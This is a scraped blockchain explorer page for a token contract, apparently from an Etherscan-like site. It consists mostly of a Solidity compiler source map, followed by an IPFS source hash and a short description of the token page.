33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:474::-;5178:6;5186;5235:2;5223:9;5214:7;5210:23;5206:32;5203:119;;;5241:79;;:::i;:::-;5203:119;5361:1;5386:53;5431:7;5422:6;5411:9;5407:22;5386:53;:::i;:::-;5376:63;;5332:117;5488:2;5514:53;5559:7;5550:6;5539:9;5535:22;5514:53;:::i;:::-;5504:63;;5459:118;5110:474;;;;;:::o;5590:::-;5658:6;5666;5715:2;5703:9;5694:7;5690:23;5686:32;5683:119;;;5721:79;;:::i;:::-;5683:119;5841:1;5866:53;5911:7;5902:6;5891:9;5887:22;5866:53;:::i;:::-;5856:63;;5812:117;5968:2;5994:53;6039:7;6030:6;6019:9;6015:22;5994:53;:::i;:::-;5984:63;;5939:118;5590:474;;;;;:::o;6070:117::-;6179:1;6176;6169:12;6193:117;6302:1;6299;6292:12;6316:117;6425:1;6422;6415:12;6456:568;6529:8;6539:6;6589:3;6582:4;6574:6;6570:17;6566:27;6556:122;;6597:79;;:::i;:::-;6556:122;6710:6;6697:20;6687:30;;6740:18;6732:6;6729:30;6726:117;;;6762:79;;:::i;:::-;6726:117;6876:4;6868:6;6864:17;6852:29;;6930:3;6922:4;6914:6;6910:17;6900:8;6896:32;6893:41;6890:128;;;6937:79;;:::i;:::-;6890:128;6456:568;;;;;:::o;7030:559::-;7116:6;7124;7173:2;7161:9;7152:7;7148:23;7144:32;7141:119;;;7179:79;;:::i;:::-;7141:119;7327:1;7316:9;7312:17;7299:31;7357:18;7349:6;7346:30;7343:117;;;7379:79;;:::i;:::-;7343:117;7492:80;7564:7;7555:6;7544:9;7540:22;7492:80;:::i;:::-;7474:98;;;;7270:312;7030:559;;;;;:::o;7595:180::-;7643:77;7640:1;7633:88;7740:4;7737:1;7730:15;7764:4;7761:1;7754:15;7781:320;7825:6;7862:1;7856:4;7852:12;7842:22;;7909:1;7903:4;7899:12;7930:18;7920:81;;7986:4;7978:6;7974:17;7964:27;;7920:81;8048:2;8040:6;8037:14;8017:18;8014:38;8011:84;;8067:18;;:::i;:::-;8011:84;7832:269;7781:320;;;:::o;8107:180::-;8155:77;8152:1;8145:88;8252:4;8249:1;8242:15;8276:4;8273:1;8266:15;8293:191;8333:3;8352:20;8370:1;8352:20;:::i;:::-;8347:25;;8386:20;8404:1;8386:20;:::i;:::-;8381:25;;8429:1;8426;8422:9;8415:16;;8450:3;8447:1;8444:10;8441:36;;;8457:18;;:::i;:::-;8441:36;8293:191;;;;:::o;8490:182::-;8630:34;8626:1;8618:6;8614:14;8607:58;8490:182;:::o;8678:366::-;8820:3;8841:67;8905:2;8900:3;8841:67;:::i;:::-;8834:74;;8917:93;9006:3;8917:93;:::i;:::-;9035:2;9030:3;9026:12;9019:19;;8678:366;;;:::o;9050:419::-;9216:4;9254:2;9243:9;9239:18;9231:26;;9303:9;9297:4;9293:20;9289:1;9278:9;9274:17;9267:47;9331:131;9457:4;9331:131;:::i;:::-;9323:139;;9050:419;;;:::o;9475:180::-;9523:77;9520:1;9513:88;9620:4;9617:1;9610:15;9644:4;9641:1;9634:15;9661:180;9709:77;9706:1;9699:88;9806:4;9803:1;9796:15;9830:4;9827:1;9820:15;9847:143;9904:5;9935:6;9929:13;9920:22;;9951:33;9978:5;9951:33;:::i;:::-;9847:143;;;;:::o;9996:351::-;10066:6;10115:2;10103:9;10094:7;10090:23;10086:32;10083:119;;;10121:79;;:::i;:::-;10083:119;10241:1;10266:64;10322:7;10313:6;10302:9;10298:22;10266:64;:::i;:::-;10256:74;;10212:128;9996:351;;;;:::o;10353:85::-;10398:7;10427:5;10416:16;;10353:85;;;:::o;10444:60::-;10472:3;10493:5;10486:12;;10444:60;;;:::o;10510:158::-;10568:9;10601:61;10619:42;10628:32;10654:5;10628:32;:::i;:::-;10619:42;:::i;:::-;10601:61;:::i;:::-;10588:74;;10510:158;;;:::o;10674:147::-;10769:45;10808:5;10769:45;:::i;:::-;10764:3;10757:58;10674:147;;:::o;10827:114::-;10894:6;10928:5;10922:12;10912:22;;10827:114;;;:::o;10947:184::-;11046:11;11080:6;11075:3;11068:19;11120:4;11115:3;11111:14;11096:29;;10947:184;;;;:::o;11137:132::-;11204:4;11227:3;11219:11;;11257:4;11252:3;11248:14;11240:22;;11137:132;;;:::o;11275:108::-;11352:24;11370:5;11352:24;:::i;:::-;11347:3;11340:37;11275:108;;:::o;11389:179::-;11458:10;11479:46;11521:3;11513:6;11479:46;:::i;:::-;11557:4;11552:3;11548:14;11534:28;;11389:179;;;;:::o;11574:113::-;11644:4;11676;11671:3;11667:14;11659:22;;11574:113;;;:::o;11723:732::-;11842:3;11871:54;11919:5;11871:54;:::i;:::-;11941:86;12020:6;12015:3;11941:86;:::i;:::-;11934:93;;12051:56;12101:5;12051:56;:::i;:::-;12130:7;12161:1;12146:284;12171:6;12168:1;12165:13;12146:284;;;12247:6;12241:13;12274:63;12333:3;12318:13;12274:63;:::i;:::-;12267:70;;12360:60;12413:6;12360:60;:::i;:::-;12350:70;;12206:224;12193:1;12190;12186:9;12181:14;;12146:284;;;12150:14;12446:3;12439:10;;11847:608;;;11723:732;;;;:::o;12461:831::-;12724:4;12762:3;12751:9;12747:19;12739:27;;12776:71;12844:1;12833:9;12829:17;12820:6;12776:71;:::i;:::-;12857:80;12933:2;12922:9;12918:18;12909:6;12857:80;:::i;:::-;12984:9;12978:4;12974:20;12969:2;12958:9;12954:18;12947:48;13012:108;13115:4;13106:6;13012:108;:::i;:::-;13004:116;;13130:72;13198:2;13187:9;13183:18;13174:6;13130:72;:::i;:::-;13212:73;13280:3;13269:9;13265:19;13256:6;13212:73;:::i;:::-;12461:831;;;;;;;;:::o;13298:194::-;13338:4;13358:20;13376:1;13358:20;:::i;:::-;13353:25;;13392:20;13410:1;13392:20;:::i;:::-;13387:25;;13436:1;13433;13429:9;13421:17;;13460:1;13454:4;13451:11;13448:37;;;13465:18;;:::i;:::-;13448:37;13298:194;;;;:::o;13498:233::-;13537:3;13560:24;13578:5;13560:24;:::i;:::-;13551:33;;13606:66;13599:5;13596:77;13593:103;;13676:18;;:::i;:::-;13593:103;13723:1;13716:5;13712:13;13705:20;;13498:233;;;:::o;13737:224::-;13877:34;13873:1;13865:6;13861:14;13854:58;13946:7;13941:2;13933:6;13929:15;13922:32;13737:224;:::o;13967:366::-;14109:3;14130:67;14194:2;14189:3;14130:67;:::i;:::-;14123:74;;14206:93;14295:3;14206:93;:::i;:::-;14324:2;14319:3;14315:12;14308:19;;13967:366;;;:::o;14339:419::-;14505:4;14543:2;14532:9;14528:18;14520:26;;14592:9;14586:4;14582:20;14578:1;14567:9;14563:17;14556:47;14620:131;14746:4;14620:131;:::i;:::-;14612:139;;14339:419;;;:::o;14764:222::-;14904:34;14900:1;14892:6;14888:14;14881:58;14973:5;14968:2;14960:6;14956:15;14949:30;14764:222;:::o;14992:366::-;15134:3;15155:67;15219:2;15214:3;15155:67;:::i;:::-;15148:74;;15231:93;15320:3;15231:93;:::i;:::-;15349:2;15344:3;15340:12;15333:19;;14992:366;;;:::o;15364:419::-;15530:4;15568:2;15557:9;15553:18;15545:26;;15617:9;15611:4;15607:20;15603:1;15592:9;15588:17;15581:47;15645:131;15771:4;15645:131;:::i;:::-;15637:139;;15364:419;;;:::o;15789:410::-;15829:7;15852:20;15870:1;15852:20;:::i;:::-;15847:25;;15886:20;15904:1;15886:20;:::i;:::-;15881:25;;15941:1;15938;15934:9;15963:30;15981:11;15963:30;:::i;:::-;15952:41;;16142:1;16133:7;16129:15;16126:1;16123:22;16103:1;16096:9;16076:83;16053:139;;16172:18;;:::i;:::-;16053:139;15837:362;15789:410;;;;:::o;16205:180::-;16253:77;16250:1;16243:88;16350:4;16347:1;16340:15;16374:4;16371:1;16364:15;16391:185;16431:1;16448:20;16466:1;16448:20;:::i;:::-;16443:25;;16482:20;16500:1;16482:20;:::i;:::-;16477:25;;16521:1;16511:35;;16526:18;;:::i;:::-;16511:35;16568:1;16565;16561:9;16556:14;;16391:185;;;;:::o;16582:221::-;16722:34;16718:1;16710:6;16706:14;16699:58;16791:4;16786:2;16778:6;16774:15;16767:29;16582:221;:::o;16809:366::-;16951:3;16972:67;17036:2;17031:3;16972:67;:::i;:::-;16965:74;;17048:93;17137:3;17048:93;:::i;:::-;17166:2;17161:3;17157:12;17150:19;;16809:366;;;:::o;17181:419::-;17347:4;17385:2;17374:9;17370:18;17362:26;;17434:9;17428:4;17424:20;17420:1;17409:9;17405:17;17398:47;17462:131;17588:4;17462:131;:::i;:::-;17454:139;;17181:419;;;:::o;17606:177::-;17746:29;17742:1;17734:6;17730:14;17723:53;17606:177;:::o;17789:366::-;17931:3;17952:67;18016:2;18011:3;17952:67;:::i;:::-;17945:74;;18028:93;18117:3;18028:93;:::i;:::-;18146:2;18141:3;18137:12;18130:19;;17789:366;;;:::o;18161:419::-;18327:4;18365:2;18354:9;18350:18;18342:26;;18414:9;18408:4;18404:20;18400:1;18389:9;18385:17;18378:47;18442:131;18568:4;18442:131;:::i;:::-;18434:139;;18161:419;;;:::o

Swarm Source

ipfs://ad768f06848019fddca6388ff2bc70962fe65cd61329929db76a835b9d061e4a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.